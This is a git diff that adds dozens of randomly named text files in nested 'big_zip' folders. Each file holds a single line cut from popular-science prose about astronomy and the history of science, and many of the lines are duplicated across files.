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diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jrwjcycrjjgw.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jrwjcycrjjgw.txt
new file mode 100644
index 0000000..ef6f7e7
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+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_jrwjcycrjjgw.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_vrszntrgeik.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_vrszntrgeik.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_vrszntrgeik.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_wnwccnuncnzxeoflakgioj.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_wnwccnuncnzxeoflakgioj.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_wnwccnuncnzxeoflakgioj.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_yedyanvklk.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_yedyanvklk.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_yedyanvklk.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ygttofsumssonb.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ygttofsumssonb.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ygttofsumssonb.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ytwvwkoe.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ytwvwkoe.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_ytwvwkoe.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zgaevlyksjkdemoytteaoglk.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zgaevlyksjkdemoytteaoglk.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zgaevlyksjkdemoytteaoglk.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zwulstcnofmvpnd.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zwulstcnofmvpnd.txt
new file mode 100644
index 0000000..ef6f7e7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/file_zwulstcnofmvpnd.txt
@@ -0,0 +1 @@
+a raindrop, the sting of a sand grain - those processes can be missed. Big structures, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/blqtqvkwtk.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/blqtqvkwtk.txt
new file mode 100644
index 0000000..09079e1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/blqtqvkwtk.txt
@@ -0,0 +1 @@
+night and paint the stars.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cmznjytshor.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cmznjytshor.txt
new file mode 100644
index 0000000..af1388e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cmznjytshor.txt
@@ -0,0 +1 @@
+paragraphs, pages and books of their DNA code, producing new varieties ready for the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cqynxcibtlpybifqbpdd.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cqynxcibtlpybifqbpdd.txt
new file mode 100644
index 0000000..99bf3e8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/cqynxcibtlpybifqbpdd.txt
@@ -0,0 +1 @@
+old cycling universes in Hindu cosmology. What would those other universes be like?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dgmmosbqfiupvzcuszqbykfl.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dgmmosbqfiupvzcuszqbykfl.txt
new file mode 100644
index 0000000..12c0713
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dgmmosbqfiupvzcuszqbykfl.txt
@@ -0,0 +1 @@
+the chronologies of ancient civilizations, very much in the tradition of the ancient historians
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dhxbqsvhxlljyzu.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dhxbqsvhxlljyzu.txt
new file mode 100644
index 0000000..d8de222
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/dhxbqsvhxlljyzu.txt
@@ -0,0 +1 @@
+including direct microscopic examination, under a wide range of conditions. We could even
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ffkgwidgadizkfisyggodaah.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ffkgwidgadizkfisyggodaah.txt
new file mode 100644
index 0000000..d8a75c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ffkgwidgadizkfisyggodaah.txt
@@ -0,0 +1 @@
+the Milky Way, in twenty-one years; M31, the Andromeda galaxy, in twenty-eight years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_bgaytlxyem.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_bgaytlxyem.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_bgaytlxyem.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_cctmiyrmhyowc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_cctmiyrmhyowc.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_cctmiyrmhyowc.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dgrqooeeudqvbfn.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dgrqooeeudqvbfn.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dgrqooeeudqvbfn.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dutgutgkov.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dutgutgkov.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_dutgutgkov.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_hdsjgjxwyaizuusgayzdkwxx.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_hdsjgjxwyaizuusgayzdkwxx.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_hdsjgjxwyaizuusgayzdkwxx.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_ibncggquwglvrekto.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_ibncggquwglvrekto.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_ibncggquwglvrekto.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_njkcqgfdnrtyoxtxq.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_njkcqgfdnrtyoxtxq.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_njkcqgfdnrtyoxtxq.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_nqqolxpttzyvqyzt.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_nqqolxpttzyvqyzt.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_nqqolxpttzyvqyzt.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_omqljvuierzponp.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_omqljvuierzponp.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_omqljvuierzponp.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_pkjrrzkcq.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_pkjrrzkcq.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_pkjrrzkcq.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qchtfruzrardycjkku.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qchtfruzrardycjkku.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qchtfruzrardycjkku.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qvvtpgjwstvt.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qvvtpgjwstvt.txt
new file mode 100644
index 0000000..c9d639b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/file_qvvtpgjwstvt.txt
@@ -0,0 +1 @@
+is given in Appendix 2.) For some reason, knowledge of a solid called the dodecahedron
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/gbtdeyinywlhfdpgpqehszh.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/gbtdeyinywlhfdpgpqehszh.txt
new file mode 100644
index 0000000..42dd1d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/gbtdeyinywlhfdpgpqehszh.txt
@@ -0,0 +1 @@
+corresponding rather closely to the report of the Canterbury monks.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ivxqnwhc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ivxqnwhc.txt
new file mode 100644
index 0000000..a7d38b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ivxqnwhc.txt
@@ -0,0 +1 @@
+electrons - in the observable universe is about 10 80 . If the universe were packed solid* with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jtnggvagnt.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jtnggvagnt.txt
new file mode 100644
index 0000000..486073f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jtnggvagnt.txt
@@ -0,0 +1 @@
+luminance. The remains of the Sun, the exposed solar core at first enveloped in its planetary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jypizrnvkvbgdpnk.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jypizrnvkvbgdpnk.txt
new file mode 100644
index 0000000..148dfa1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/jypizrnvkvbgdpnk.txt
@@ -0,0 +1 @@
+The electrical currents in the liquid metal interior of Jupiter may be the source of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oeexevncbfopizyi.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oeexevncbfopizyi.txt
new file mode 100644
index 0000000..7af5f59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oeexevncbfopizyi.txt
@@ -0,0 +1 @@
+has been substantial laboratory progress. Amino acids have been assembled under primitive
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oiwomdfw.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oiwomdfw.txt
new file mode 100644
index 0000000..ec0f8e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/oiwomdfw.txt
@@ -0,0 +1 @@
+later made available to Western scholars. The description of the expedition was published,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/pzeaejhpjkhvsvqkhxb.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/pzeaejhpjkhvsvqkhxb.txt
new file mode 100644
index 0000000..96fa475
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/pzeaejhpjkhvsvqkhxb.txt
@@ -0,0 +1 @@
+serious search for what other kinds of life may be, the first survival of a functioning
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qfslpiivl.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qfslpiivl.txt
new file mode 100644
index 0000000..7c2ecab
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qfslpiivl.txt
@@ -0,0 +1 @@
+if it were not for the Milky Way, fragments of darkness would come crashing down at our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qjgqrbyjsbubkuuzil.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qjgqrbyjsbubkuuzil.txt
new file mode 100644
index 0000000..72f1de0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qjgqrbyjsbubkuuzil.txt
@@ -0,0 +1 @@
+It arrives on the planetary stage following four and a half billion years of other acts, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qqbimvotheyz.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qqbimvotheyz.txt
new file mode 100644
index 0000000..9126f5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/qqbimvotheyz.txt
@@ -0,0 +1 @@
+Chinese astronomy occurred around 1280, with the work of Kuo Shou-ching, who used an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/sujsloegc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/sujsloegc.txt
new file mode 100644
index 0000000..2cf66bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/sujsloegc.txt
@@ -0,0 +1 @@
+originally spherical cluster and may also contribute to the genesis of spirals and irregulars
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/tguqucnuxhld.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/tguqucnuxhld.txt
new file mode 100644
index 0000000..d67f003
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/tguqucnuxhld.txt
@@ -0,0 +1 @@
+information differently and persist through time at different rates. But the persistence of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/twowrekefnwigyims.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/twowrekefnwigyims.txt
new file mode 100644
index 0000000..68142b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/twowrekefnwigyims.txt
@@ -0,0 +1 @@
+Everyone knows it is madness, and every nation has an excuse. There is a dreary chain of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/utlpkgakmnvtsuhocvsc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/utlpkgakmnvtsuhocvsc.txt
new file mode 100644
index 0000000..6a9ef16
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/utlpkgakmnvtsuhocvsc.txt
@@ -0,0 +1 @@
+the air made of? How fast does the wind blow? Are there marsquakes? How does theatmospheric pressure and the appearance of the landscape change with the seasons?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ysaxsseyixgdhyqhmaoly.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ysaxsseyixgdhyqhmaoly.txt
new file mode 100644
index 0000000..2e2f807
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/ysaxsseyixgdhyqhmaoly.txt
@@ -0,0 +1 @@
+generations later, was content to argue that those things happened because it was the nature
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/yupvoxpc.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/yupvoxpc.txt
new file mode 100644
index 0000000..8b4d0c9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/yupvoxpc.txt
@@ -0,0 +1 @@
+great sand dunes, ancient river beds, a vast rift valley, the largest volcanic construct, so far
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/zplefwpvckfu.txt b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/zplefwpvckfu.txt
new file mode 100644
index 0000000..1b89cf5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fevpxssxat/folder_yzvixohmer/folder_nsowxxmlrb/folder_jkyhbxegqf/zplefwpvckfu.txt
@@ -0,0 +1 @@
+prediction of regular cometary orbits, led his friend Edmund Halley in 1707 to calculate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/aiffktggpe.txt b/big_zip/big-zip-files/folder_fngjmsugng/aiffktggpe.txt
new file mode 100644
index 0000000..b3a281c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/aiffktggpe.txt
@@ -0,0 +1 @@
+winks out and disappears from our universe. That is why it is called black: no light can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/amwclfxyiourxgnpebjffk.txt b/big_zip/big-zip-files/folder_fngjmsugng/amwclfxyiourxgnpebjffk.txt
new file mode 100644
index 0000000..3104023
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/amwclfxyiourxgnpebjffk.txt
@@ -0,0 +1 @@
+far better - by any criterion we choose - than any human being who has ever lived.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/bdxghvok.txt b/big_zip/big-zip-files/folder_fngjmsugng/bdxghvok.txt
new file mode 100644
index 0000000..509cfc5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/bdxghvok.txt
@@ -0,0 +1 @@
+On a project of this magnitude it is impossible to thank everyone who has made a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_afktaevrqdchwo.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_afktaevrqdchwo.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_afktaevrqdchwo.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_ebsbsayrslyfemdkp.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_ebsbsayrslyfemdkp.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_ebsbsayrslyfemdkp.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_fngjmsugng/file_etzjuhkfmajyuoaptnxitrvf.txt b/big_zip/big-zip-files/folder_fngjmsugng/file_etzjuhkfmajyuoaptnxitrvf.txt
new file mode 100644
index 0000000..3666f54
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fngjmsugng/file_etzjuhkfmajyuoaptnxitrvf.txt
@@ -0,0 +1 @@
+to intuition and reason. Humans have evolved gregariously. We delight in each other’s
\ No newline at end of file
